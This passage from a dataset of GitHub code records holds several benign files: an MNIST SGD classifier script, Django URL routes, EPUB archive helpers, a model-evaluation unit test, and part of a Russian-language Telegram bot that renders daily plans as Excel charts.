64, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 64, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 71, "usage_type": "call"}, {"api_name": "polars.DataFrame", "line_number": 75, "usage_type": "call"}, {"api_name": "polars.DataFrame", "line_number": 55, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 88, "usage_type": "name"}, {"api_name": "polars.DataFrame", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.date.fromisoformat", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 90, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 77, "usage_type": "name"}, {"api_name": "polars.DataFrame", "line_number": 77, "usage_type": "attribute"}]} +{"seq_id": "40089215359", "text": "import os\n####*IMPORANT*: Have to do this line *before* importing tensorflow\nos.environ['PYTHONHASHSEED']=str(1)\n\n# libraries\nimport numpy as np \nimport matplotlib.pyplot as plt\nimport pickle\nimport tensorflow as tf \nimport random\nimport keras\nfrom keras.models import Model\nfrom keras.layers import Dense, Flatten, Dropout\n\ndef reset_random_seeds():\n os.environ['PYTHONHASHSEED']=str(1)\n tf.random.set_seed(1)\n np.random.seed(1)\n random.seed(1)\n\n#make some random data\nreset_random_seeds()\n\n# data parameters\nnum_classes = 10\ninput_shape = (784, 1)\n\n# import data\n(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()\n\n# scale images\nx_train = x_train.astype(\"float32\")/255\nx_test = x_test.astype(\"float32\")/255\n\nx_train = np.reshape(x_train, (60000, -1))\nx_test = np.reshape(x_test, (10000, -1))\n\n#Model with loss -> Hinge\n\nfrom sklearn.linear_model import SGDClassifier\n\nsgd_clf = SGDClassifier(loss='hinge', random_state=42)\nsgd_clf.fit(x_train, y_train)\nprint(\"SGD hinge fit done\")\n\nfrom sklearn.metrics import accuracy_score\n\nsgd_svm_pred = sgd_clf.predict(x_test)\nprint(sgd_svm_pred)\n\nsgd_accuracy = accuracy_score(y_test, sgd_svm_pred)\nprint(sgd_accuracy)\n\n\n#Model with loss -> Log\nsgd_clf2 = SGDClassifier(loss='log', random_state=42)\nsgd_clf2.fit(x_train, y_train)\nprint(\"SGD log fit done\")\n\nsgd_svm_pred2 = sgd_clf2.predict(x_test)\nprint(sgd_svm_pred2)\n\nsgd_accuracy2 = accuracy_score(y_test, sgd_svm_pred2)\nprint(sgd_accuracy2)\n\n\n'''\nSGD with hinge loss -> 0.9174\nSGD with log loss -> 0.9154\n'''\n", "repo_name": "vam-sin/mnist-analysis", "sub_path": "src/SGD.py", "file_name": "SGD.py", "file_ext": "py", "file_size_in_byte": 1534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tensorflow.random.set_seed", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 19, "usage_type": "call"}, {"api_name": "keras.datasets.mnist.load_data", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.datasets", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.linear_model.SGDClassifier", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.linear_model.SGDClassifier", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "19808850839", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('',views.home,name='home'),\n path('contact/',views.contact,name='contact'),\n path('blog/',views.blog_post,name='blog'),\n path('blog_list/<int:pk>/',views.blog_list,name='blog_list'),\n]\n\n# <slug:slug>/", "repo_name": "Rakeshkoduri/bloggin.github.io", "sub_path": "blog/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "3705792610", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 5 10:39:05 2020\n\n@author: plusuncold\n\"\"\"\n\nfrom zipfile import ZipFile, ZIP_DEFLATED, ZIP_STORED\nimport glob\nimport os\nfrom file_utils import delete_folder\n\n\n# Extract all the files from the EPUB archive into the dest_folder\ndef extract_from_epub_file(path, dest_folder):\n if os.path.exists(dest_folder):\n delete_folder(dest_folder)\n\n # Open the zip file\n try:\n with ZipFile(path) as zip_file:\n # Extract to temp folder\n zip_file.extractall(dest_folder)\n except Exception as ex:\n print(f'Error opening ePub file {path}, does it exist?')\n print(ex.args)\n quit()\n\n\n# Get a list of the files in the folder, with mimetype as the first in the list\ndef list_of_files_in_folder(folder: str):\n folder_glob = folder + '/**'\n files = glob.glob(folder_glob, recursive=True)\n files = [file for file in files if os.path.isfile(file)]\n\n # Put mimetype file as the first in the list\n mimetype_index = files.index(folder + '/mimetype')\n files[0], files[mimetype_index] = files[mimetype_index], files[0]\n\n return files\n\n\n# Write all the files in the source_folder to an EPUB archive\ndef write_epub_file(path, source_folder):\n # Zip the temp folder\n with ZipFile(path, 'w') as zip_file:\n # Write the files in source_file (with any corrections)\n # to corrected filename\n # NOTE: standard requires mimetype file be first file in archive\n files_to_write = list_of_files_in_folder(source_folder)\n\n for index, file in enumerate(files_to_write):\n # Remove the temp folder name before writing\n file_name_in_zip = file[len(source_folder)+1:]\n # Compress all members with compress_type 8, apart from mimetype\n compress_type = ZIP_DEFLATED if index > 0 else ZIP_STORED\n zip_file.write(file, file_name_in_zip, compress_type=compress_type)\n", "repo_name": "plusuncold/epub-bouncer", "sub_path": "bouncer/epub_handling.py", "file_name": "epub_handling.py", "file_ext": "py", "file_size_in_byte": 1966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.exists", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "file_utils.delete_folder", "line_number": 18, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 22, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 47, "usage_type": "call"}, {"api_name": "zipfile.ZIP_DEFLATED", "line_number": 57, "usage_type": "name"}, {"api_name": "zipfile.ZIP_STORED", "line_number": 57, "usage_type": "name"}]} +{"seq_id": "72586750729", "text": "import numpy as np\nimport torch\n\nimport lablet_generalization_benchmark.evaluate_model as evaluate_model\n\n\ndef test_evaluate_model():\n number_of_images = 10\n images = np.zeros((number_of_images, 1, number_of_images, number_of_images),\n dtype=np.float32)\n for i in range(number_of_images):\n images[i, :, :, i] = i\n targets = np.arange(number_of_images, dtype=np.float32)\n\n def model_fn(images):\n return np.max(images.reshape(images.shape[0], -1),\n axis=1) / number_of_images\n\n class Dataset:\n def __init__(self, images, targets):\n self.images = torch.tensor(images)\n self.targets = torch.tensor(targets)\n self._factor_names = [str(i) for i in range(len(images))]\n\n @property\n def normalized_targets(self):\n return (self.targets / number_of_images).numpy()\n\n class DataLoader():\n def __init__(self, dataset):\n self.dataset = dataset\n\n def __iter__(self):\n for i in range(2):\n yield self.dataset.images, self.dataset.targets / 10.\n\n scores = evaluate_model.evaluate_model(model_fn,\n dataloader=DataLoader(\n Dataset(images, targets)))\n\n for key in scores.keys():\n assert 'mse' in key or 'rsquared' in key\n if 'mse' in key:\n assert scores[key] == 0\n elif 'rsquared' in key:\n assert scores[key] == 1\n else:\n raise Exception('only mse and rsquared should be implemented')\n\n\ndef test_rsquared():\n # Test score with optimal solution.\n targets = np.arange(10) / 10.\n rsquared = evaluate_model.RSquared(targets)\n predictions = np.arange(10) / 10.\n assert rsquared(targets, predictions) == 1\n\n # Test score with solution predicting the mean.\n predictions = np.empty_like(targets)\n predictions.fill(np.mean(targets))\n assert rsquared(targets, predictions) == 0\n\n # Test score with solution predicting zero.\n predictions = np.zeros_like(targets)\n assert rsquared(targets, predictions) < 0\n", "repo_name": "bethgelab/InDomainGeneralizationBenchmark", "sub_path": "test/test_evaluate_model.py", "file_name": "test_evaluate_model.py", "file_ext": "py", "file_size_in_byte": 2159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 32, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.zeros", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 22, "usage_type": "call"}, {"api_name": "lablet_generalization_benchmark.evaluate_model.evaluate_model", "line_number": 37, "usage_type": "call"}, {"api_name": "lablet_generalization_benchmark.evaluate_model", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 53, "usage_type": "call"}, {"api_name": "lablet_generalization_benchmark.evaluate_model.RSquared", "line_number": 54, "usage_type": "call"}, {"api_name": "lablet_generalization_benchmark.evaluate_model", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.empty_like", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "3475929419", "text": "from collections import OrderedDict\r\nfrom num2words import num2words\r\nimport xlsxwriter\r\nimport excel2img\r\nimport datetime\r\nimport sqlite3\r\nimport random\r\nimport math\r\nimport ast\r\n#\r\nfrom aiogram.types import ParseMode, InputFile, InputMediaPhoto\r\n#\r\nfrom utilis.apies import name_main_db\r\nfrom utilis.consts_common import emoji_work_dp_list, dict_with_bold_nums, back_mes, \\\r\n use_colours\r\nfrom utilis.main_common import big_replacing, get_datetime_from_str, save_main_id_message, \\\r\n get_common_data, save_common_data, message_no_data, get_main_id_message\r\n\r\n\r\n# WORK WITH DB\r\nconn = sqlite3.connect(f'{name_main_db}.db', check_same_thread=False)\r\ncursor = conn.cursor()\r\n\r\n\r\ndef create_huge_list(cursor_login, locating_elements):\r\n # генерируем huge_list\r\n cursor_login.execute(\"\"\"SELECT code_element, \r\n name_dp, description_dp, \r\n its_code_block, time_of_doing \r\n FROM classification_of_events\"\"\")\r\n values_huge_list = cursor_login.fetchall()\r\n\r\n # создаём dict: {block_code: emoji}\r\n cursor_login.execute(\"\"\"SELECT code_element, block_emoji FROM classification_of_blocks\"\"\")\r\n values_blocks_and_its_emoji = dict(cursor_login.fetchall())\r\n\r\n huge_list = \\\r\n [\r\n [(name_elem, description_elem), values_blocks_and_its_emoji.get(code_block), time_work, one_elem_id]\r\n for one_basis_id in locating_elements\r\n for one_elem_id, name_elem, description_elem, code_block, time_work in values_huge_list\r\n if one_basis_id == one_elem_id\r\n ]\r\n return huge_list\r\n\r\n\r\ndef create_data_for_dp(user_id, username):\r\n # получаем логин & id пользователя\r\n login_user, bot_id = get_common_data(user_id, cursor,\r\n 'login_user', 'bot_id')\r\n\r\n # подключаемся к именованной БД пользователя\r\n conn_login = sqlite3.connect(f'users_bot/{bot_id}_log/user_db.db')\r\n cursor_login = conn_login.cursor()\r\n\r\n # находим расположение элементов пользователя в его БД\r\n week_day_now = datetime.datetime.weekday(datetime.datetime.now())\r\n cursor_login.execute(f'SELECT week_day_{week_day_now} FROM hierarchy_day_plans')\r\n locating_elements = cursor_login.fetchone()\r\n\r\n # проверяем: есть ли у пользователя вообще какой-либо day plan\r\n if locating_elements:\r\n\r\n # проверяем: есть ли у пользователя данный день недели\r\n if locating_elements[0]:\r\n\r\n locating_elements = ast.literal_eval(locating_elements[0])\r\n huge_list = create_huge_list(cursor_login, locating_elements)\r\n\r\n # генерируем block_names_dict\r\n cursor_login.execute('SELECT block_emoji, name_dp FROM classification_of_blocks')\r\n values_for_block_names = cursor_login.fetchall()\r\n\r\n unique_emoji = tuple(OrderedDict.fromkeys(one_elem[1] for one_elem in huge_list if one_elem[1]))\r\n block_names_dict = \\\r\n dict((one_emoji, name_emoji)\r\n for one_emoji in unique_emoji\r\n for (block_emoji, name_emoji) in values_for_block_names if one_emoji == block_emoji)\r\n\r\n # общее время выполнение\r\n all_time_work = sum([one_elem[2] for one_elem in huge_list if one_elem[2] is not None])\r\n\r\n # количество уже ранее завершённых ДП\r\n done_day_plans = len(cursor_login.execute('SELECT * FROM history_working').fetchall())\r\n\r\n # выбор цветов для блоков: {emoji: random_colour]\r\n block_colours_dict = dict(zip(unique_emoji, random.sample(use_colours, len(unique_emoji))))\r\n\r\n # получаем текст для сообщения\r\n text_under_photo = f'<b>Ваш план дня на сегодня, @{username}:</b>\\n ' \\\r\n f'➖➖➖➖➖➖➖➖➖➖➖➖➖\\n' \\\r\n f'☀️<b>Всего блоков:</b> <code>{len(unique_emoji)}</code>\\n' \\\r\n f'🌕<b>Всего эвентов:</b> <code>{len(huge_list)}</code>\\n' \\\r\n f'⏳<b>Время выполнения:</b> <code>{all_time_work}</code>\\n' \\\r\n f'➖➖➖➖➖➖➖➖➖➖➖➖➖\\n' \\\r\n f'📌<b>Это ваш {num2words(done_day_plans + 1, to=\"ordinal\", lang=\"ru\")} план дня</b>'\r\n\r\n return [huge_list, login_user, bot_id, str(get_user_time_now(user_id=user_id)), block_names_dict,\r\n block_colours_dict, all_time_work, text_under_photo]\r\n\r\n\r\ndef create_dp_in_excel(huge_list, block_names_dict, block_colours_dict, bot_id, all_time_work):\r\n # данные для вставки в таблицу: [[name_elem, time_work], colour_block]\r\n need_values = \\\r\n [\r\n [(one_elem[0][0], 0 if not one_elem[2] else one_elem[2]), block_colours_dict.get(one_elem[1])]\r\n for one_elem in huge_list\r\n ]\r\n\r\n # подключаемся к рабочей таблице\r\n file_name, work_sheet_name = 'curDP', 'one_see'\r\n user_workbook = xlsxwriter.Workbook(f'users_bot/{bot_id}_log/for_excel_dp/{file_name}.xlsx')\r\n user_worksheet = user_workbook.add_worksheet(work_sheet_name)\r\n\r\n # ширина столбцов\r\n user_worksheet.set_column_pixels('B:B', 215)\r\n user_worksheet.set_column_pixels('D:D', 320)\r\n # если в названии больше 15 символов, увеличиваем стандарт\r\n max_len_name_event = max([len(str(one_elem[0][0])) for one_elem in huge_list])\r\n width_column_for_events = 300 if max_len_name_event < 15 else round(20 * max_len_name_event)\r\n user_worksheet.set_column_pixels('C:C', width_column_for_events)\r\n\r\n # заглавия\r\n for_names_cols_format = \\\r\n user_workbook.add_format(\r\n {'font_name': 'Times New Roman',\r\n 'font_size': 18, 'font_color': 'white',\r\n 'bold': True, 'align': 'center',\r\n 'bg_color': 'black',\r\n 'border': 5, 'border_color': 'black'})\r\n user_worksheet.write_row('B1', ('НОМЕР', 'ЭВЕНТ', 'ВРЕМЯ ВЫПОЛНЕНИЯ'), for_names_cols_format)\r\n\r\n # формат для отдельный эвентов\r\n def get_format_separate_events(bl_colour='FFFFFF',\r\n font_name='Arial Black', size=16,\r\n bool_bold=True, bool_italic=True,\r\n align='center',\r\n border_one=0, border_two=0,\r\n border_three=0, border_four=0):\r\n return user_workbook.add_format(\r\n {'font_name': f'{font_name}',\r\n 'font_size': size, 'font_color': 'black',\r\n 'bold': bool_bold, 'italic': bool_italic,\r\n 'align': f'{align}', 'bg_color': f'#{bl_colour}',\r\n 'border_color': 'black', 'bottom': border_one,\r\n 'top': border_two, 'left': border_three, 'right': border_four})\r\n\r\n # заполняем таблицу эвентов\r\n index_cell = 0\r\n last_colour_block = need_values[0][1]\r\n for index_cell, [(name_event, time_work_event), block_colour] in enumerate(need_values, start=2):\r\n\r\n # если последний эвент | смена блока\r\n if len(need_values) == index_cell - 1:\r\n condition_bottom_border = 5\r\n elif need_values[index_cell - 1][1] != last_colour_block:\r\n last_colour_block = need_values[index_cell - 1][1]\r\n condition_bottom_border = 5\r\n else:\r\n condition_bottom_border = 0\r\n\r\n # НОМЕР\r\n user_worksheet.write(f'B{index_cell}', index_cell - 1,\r\n get_format_separate_events(block_colour, font_name='Wide Latin',\r\n size=18, bool_italic=False,\r\n border_three=5,\r\n border_one=condition_bottom_border))\r\n\r\n # ЭВЕНТ\r\n user_worksheet.write(f'C{index_cell}', name_event,\r\n get_format_separate_events(block_colour,\r\n border_one=condition_bottom_border))\r\n\r\n # ВРЕМЯ ВЫПОЛНЕНИЯ\r\n user_worksheet.write(f'D{index_cell}', time_work_event,\r\n get_format_separate_events(block_colour, font_name='Bauhaus 93',\r\n size=18, bool_italic=False,\r\n bool_bold=False, border_four=5,\r\n border_one=condition_bottom_border))\r\n\r\n else:\r\n # подсчитаем общее время с помощью формулы\r\n user_worksheet.write(f'C{index_cell + 1}', 'ИТОГО:',\r\n get_format_separate_events(font_name='Times New Roman',\r\n size=20, bool_italic=False,\r\n align='right'))\r\n\r\n user_worksheet.write(f'D{index_cell + 1}', f'{all_time_work} MINS',\r\n get_format_separate_events(font_name='Stencil',\r\n size=22, bool_italic=False))\r\n\r\n # отступы потенциальной диаграммы_2 от диаграммы_1\r\n x_offset, y_offset = 0, 0\r\n\r\n # определяем широту | длину диаграм\r\n if len(need_values) > 15:\r\n # ширина постоянна, с кол-вом эвентов изменяется длина\r\n width_diagrams = (215 + width_column_for_events + 320) / 2 + 31\r\n height_diagrams = y_offset = (40 + len(need_values) * 20) / 2 \\\r\n if all_time_work else 40 + len(need_values) * 20\r\n\r\n # если эвентов > 15, диаграмму вставляем справа\r\n insert_cell = 'E1'\r\n\r\n # устанавливаем зону получения фотографии\r\n zone_for_photo = f'B1:K{len(need_values) + 2}'\r\n else:\r\n # длина постоянна, с кол-вом эвентов изменяется ширина\r\n width_diagrams = x_offset = (215 + width_column_for_events + 320) / 2 \\\r\n if all_time_work else 215 + width_column_for_events + 320\r\n height_diagrams = 400\r\n\r\n # если эвентов <= 15, диаграмму вставляем вниз\r\n insert_cell = f'B{index_cell + 2}'\r\n\r\n # устанавливаем зону получения фотографии\r\n zone_for_photo = f'B1:D{index_cell + 21}'\r\n\r\n # диаграмма_1: отношение количества эвентов блоков\r\n names_block_with_its_len = [[name_block, len([one_elem for one_elem in huge_list if one_elem[1] == one_emoji])]\r\n for one_emoji, name_block in block_names_dict.items()]\r\n first_chart = user_workbook.add_chart({'type': 'pie'})\r\n first_chart.set_title({'name': 'ОТНОШЕНИЕ ДЛИНЫ\\nБЛОКОВ'})\r\n first_chart.set_style(18)\r\n first_chart.set_size({'width': width_diagrams,\r\n 'height': height_diagrams})\r\n first_chart.set_legend({'position': 'bottom', 'font': {'bold': True,\r\n 'name': 'Arial Black'}})\r\n for index_diagram_column, one_elem in enumerate(names_block_with_its_len, start=1):\r\n user_worksheet.write_column(index_cell + 1, index_diagram_column, one_elem)\r\n first_chart.add_series({'categories': [work_sheet_name,\r\n index_cell + 1, 1,\r\n index_cell + 1, len(names_block_with_its_len)],\r\n 'values': [work_sheet_name,\r\n index_cell + 2, 1,\r\n index_cell + 2, len(names_block_with_its_len)],\r\n 'points': [{'fill': {'color': f'#{one_block_colour}'}}\r\n for one_block_colour in block_colours_dict.values()],\r\n 'data_labels': {'percentage': True,\r\n 'border': {'color': 'black', 'bold': True},\r\n 'font': {'bold': True, 'color': 'black'},\r\n 'fill': {'color': 'white'}}})\r\n user_worksheet.insert_chart(insert_cell, first_chart)\r\n\r\n # если хотя бы одного эвента задано время\r\n if all_time_work:\r\n # диаграмма_2: соотношение времени эвентов\r\n index_event_with_its_time_work = [[f'EV_{one_ind}', one_elem[0][1]]\r\n for one_ind, one_elem in enumerate(need_values, start=1)\r\n if one_elem[0][1] != 0]\r\n second_chart = user_workbook.add_chart({'type': 'area'})\r\n second_chart.set_style(18)\r\n second_chart.set_title({'name': 'СРАВНЕНИЕ ВРЕМЕНИ ЭВЕНТОВ'})\r\n second_chart.set_size({'width': width_diagrams, 'height': height_diagrams})\r\n second_chart.set_legend({'none': True})\r\n for index_diagram_column, one_elem in enumerate(index_event_with_its_time_work, start=1):\r\n user_worksheet.write_column(index_cell + 3, index_diagram_column, one_elem)\r\n second_chart.add_series({'categories': [work_sheet_name,\r\n index_cell + 3, 1,\r\n index_cell + 3, len(index_event_with_its_time_work)],\r\n 'values': [work_sheet_name,\r\n index_cell + 4, 1,\r\n index_cell + 4, len(index_event_with_its_time_work)],\r\n 'gradient': {'colors': ['#490005', '#960018', '#B00000', '#A32000',\r\n 'red',\r\n '#FF2B2B', '#A33400', '#E04800', '#FF5F05',\r\n 'orange'],\r\n 'positions': [10, 10, 10, 10, 10, 10, 10, 10, 10, 10]}})\r\n second_chart.set_plotarea({'pattern': {'pattern': 'percent_40', 'fg_color': 'orange',\r\n 'bg_color': 'white'},\r\n 'border': {'color': 'black', 'width': 1}})\r\n second_chart.set_x_axis({'num_font': {'name': 'Arial Black', 'color': 'black', 'bold': True}})\r\n second_chart.set_y_axis({'num_font': {'name': 'Arial Black', 'color': 'black', 'bold': True}})\r\n\r\n user_worksheet.insert_chart(insert_cell, second_chart,\r\n {'x_offset': x_offset,\r\n 'y_offset': y_offset})\r\n\r\n user_workbook.close()\r\n\r\n # формируем фото созданной таблице\r\n while True:\r\n try:\r\n excel2img.export_img(f'users_bot/{bot_id}_log/for_excel_dp/{file_name}.xlsx',\r\n f\"users_bot/{bot_id}_log/for_excel_dp/image_dp.gif\", '',\r\n f'{work_sheet_name}!{zone_for_photo}')\r\n break\r\n except OSError:\r\n pass\r\n\r\n\r\nasync def values_for_opening_dp(user_id, username, bot, processing_dp=0):\r\n # проверяем: не сгенерированы ли уже данные\r\n inf_for_begin_dp = get_common_data(user_id, cursor, 'inf_for_begin_dp')\r\n\r\n # первый запуск ДП вообще (или перезапуск ДП) | изменился день недели\r\n user_time_now = get_user_time_now(user_id=user_id)\r\n if processing_dp is None \\\r\n or (datetime.datetime.weekday(user_time_now) !=\r\n datetime.datetime.weekday(get_datetime_from_str(inf_for_begin_dp[3]))\r\n and processing_dp == -1):\r\n\r\n # создаём листы для работы ДП\r\n inf_for_begin_dp = \\\r\n create_data_for_dp(user_id, username)\r\n\r\n # проверяем: есть ли данные по этому дню\r\n if inf_for_begin_dp:\r\n new_work_mes = await bot.send_animation(chat_id=user_id,\r\n animation=\r\n 'CgACAgQAAxkBAAIamWQXDhFLZdZSFWV'\r\n 'zhPxbCTL9yDQwAAL0AgAC2ywNU8_jyzgC4dWdLwQ')\r\n save_main_id_message(user_id, new_work_mes.message_id, cursor, conn)\r\n\r\n huge_list, login_user, bot_id, datetime_work, block_names_dict, \\\r\n block_colours_dict, all_time_work, text_under_photo \\\r\n = inf_for_begin_dp\r\n\r\n # генерируем таблицу и фото ДП\r\n create_dp_in_excel(huge_list, block_names_dict, block_colours_dict, bot_id, all_time_work)\r\n\r\n # переменная для photo_id\r\n inf_for_begin_dp.append(InputFile(path_or_bytesio=f'users_bot/{bot_id}_log/for_excel_dp/image_dp.gif'))\r\n\r\n return inf_for_begin_dp\r\n\r\n\r\nasync def get_window_with_excel_dp(user_id, username, processing_dp, bot):\r\n\r\n # excel таблица ДП, её фотография, рабочие листы\r\n inf_for_begin_dp = \\\r\n await values_for_opening_dp(user_id, username, bot,\r\n processing_dp=processing_dp)\r\n\r\n # есть ли данные по настоящему дню\r\n if inf_for_begin_dp:\r\n huge_list, login_user, bot_id, datetime_work, \\\r\n block_names_dict, block_colours_dict, all_time_work, \\\r\n text_under_photo, photo_id \\\r\n = inf_for_begin_dp\r\n\r\n # только что обновили расписание\r\n if type(inf_for_begin_dp[8]) is not str:\r\n\r\n new_work_mes = \\\r\n await bot.edit_message_media(media=InputMediaPhoto(photo_id,\r\n caption=text_under_photo,\r\n parse_mode=ParseMode.HTML),\r\n chat_id=user_id,\r\n message_id=get_main_id_message(user_id, cursor),\r\n reply_markup={'inline_keyboard':\r\n [[dict(text=back_mes, callback_data='back_main_menu'),\r\n dict(text='⏩', callback_data='way_to_DP')]]})\r\n\r\n # сохраняем айди фотографии, чтобы быстрее присылать\r\n inf_for_begin_dp[8] = str(new_work_mes.photo[-1].file_id)\r\n\r\n # сохраняем сформированный ДП\r\n save_common_data(user_id, cursor, conn, inf_for_begin_dp=inf_for_begin_dp)\r\n cursor.execute('UPDATE all_sessions SET processing_dp = ? WHERE user_id = ?', (-1, user_id))\r\n cursor.execute('DELETE FROM all_cashDP WHERE login = ? or user_id = ?',\r\n (login_user, user_id,))\r\n conn.commit()\r\n\r\n # повторные заходы\r\n else:\r\n new_work_mes = await bot.send_photo(chat_id=user_id,\r\n photo=photo_id,\r\n caption=text_under_photo,\r\n parse_mode=ParseMode.HTML,\r\n reply_markup={'inline_keyboard':\r\n [[dict(text=back_mes, callback_data='back_main_menu'),\r\n dict(text='⏩', callback_data='way_to_DP')]]})\r\n save_main_id_message(user_id, new_work_mes.message_id, cursor, conn)\r\n\r\n else:\r\n\r\n # сообщает: данного дня нет!\r\n await message_no_data(user_id, cursor, conn, bot, call_back='back_main_menu')\r\n\r\n\r\ndef get_data_process_dp(user_id: int, *name_keys) -> list:\r\n cursor.execute(f'SELECT work_dict from all_cashDP WHERE user_id = ?', (user_id,))\r\n work_dict = ast.literal_eval(cursor.fetchone()[0])\r\n\r\n got_values = [work_dict.get(one_key) for one_key in name_keys]\r\n\r\n return got_values if len(got_values) > 1 else got_values[0]\r\n\r\ndef save_data_process_dp(user_id: int, **keys_and_values):\r\n cursor.execute(f'SELECT work_dict from all_cashDP WHERE user_id = ?', (user_id,))\r\n work_dict = ast.literal_eval(cursor.fetchone()[0])\r\n work_dict.update(keys_and_values)\r\n\r\n cursor.execute(f\"UPDATE all_cashDP set work_dict = ? \"\r\n f\"WHERE user_id = ?\",\r\n (str(work_dict), user_id,))\r\n conn.commit()\r\n\r\n\r\n# GETTING\r\ndef get_user_time_now(delta_utc=None, user_id=None):\r\n\r\n if delta_utc is None:\r\n login_user = get_common_data(user_id, cursor, 'login_user')\r\n delta_utc = cursor.execute('SELECT delta_utc FROM all_users WHERE login = ?', (login_user,)).fetchone()[0]\r\n\r\n return datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=delta_utc)\r\n\r\ndef get_live_hours(begin_clock: int, end_clock: int) -> iter:\r\n # формируем лист с часами работы DP\r\n for range_hour in range(24):\r\n now_hour = begin_clock + range_hour if begin_clock + range_hour < 25 \\\r\n else begin_clock + range_hour - 24\r\n\r\n yield now_hour\r\n\r\n if now_hour is end_clock: break\r\n\r\n\r\ndef get_delta_time_to_str(one_time, delta_utc,\r\n adding_time=0, needing_clock_diff=None):\r\n if one_time:\r\n # формируем настоящее время для пользователя\r\n diff_in_time = get_user_time_now(delta_utc) - get_datetime_from_str(one_time)\r\n clock_diff = str(math.floor((diff_in_time.total_seconds() + adding_time) / 60))\r\n str_clock = '𝟬' * (3 - len(clock_diff)) + big_replacing(clock_diff, dict_with_bold_nums)\r\n\r\n return str_clock if not needing_clock_diff \\\r\n else (str_clock, clock_diff)\r\n \r\n return '𝟬𝟬𝟬' if not needing_clock_diff \\\r\n else ('𝟬𝟬𝟬', 0)\r\n\r\ndef get_dict_with_index_emoji(huge_list, full_emoji_tuple=None):\r\n if not full_emoji_tuple:\r\n full_emoji_tuple = tuple(OrderedDict.fromkeys((one_elem[1]\r\n for one_elem in huge_list\r\n if one_elem[1] not in emoji_work_dp_list)))\r\n # получаем лист с индексами эвентов данного эмоджи\r\n return \\\r\n dict(\r\n zip(\r\n full_emoji_tuple,\r\n [\r\n [this_index for this_index, this_elm in enumerate(huge_list)\r\n if one_emoji == this_elm[1]]\r\n for one_emoji in full_emoji_tuple\r\n ]\r\n )\r\n )\r\n\r\ndef get_first_work_index(huge_list, indexes_list=None, check_all_list=False):\r\n\r\n if check_all_list:\r\n indexes_list = [one_ind for one_ind in range(len(huge_list))]\r\n\r\n if indexes_list:\r\n for one_index in indexes_list:\r\n if huge_list[one_index][1] not in emoji_work_dp_list:\r\n return one_index\r\n\r\ndef get_pages_with_this_elem(element,\r\n with_index_emoji, pages_with_indexes):\r\n\r\n # находим разрешённую страницу для element\r\n allow_pages = []\r\n\r\n # эвент\r\n if (type(element) is str and element.isdigit()) or type(element) is int:\r\n for one_page, one_value in pages_with_indexes.items():\r\n\r\n if int(element) in one_value:\r\n allow_pages = [one_page]\r\n break\r\n\r\n # несколько блоков | блок | часть блока\r\n else:\r\n updated_elements_emoji = \\\r\n with_index_emoji.get(element) if type(element) is str else element\r\n\r\n # добавляем только те страницы,\r\n # с индексами которых есть пересечение с updated_elements_emoji\r\n allow_pages = [one_page\r\n for one_page, one_value in 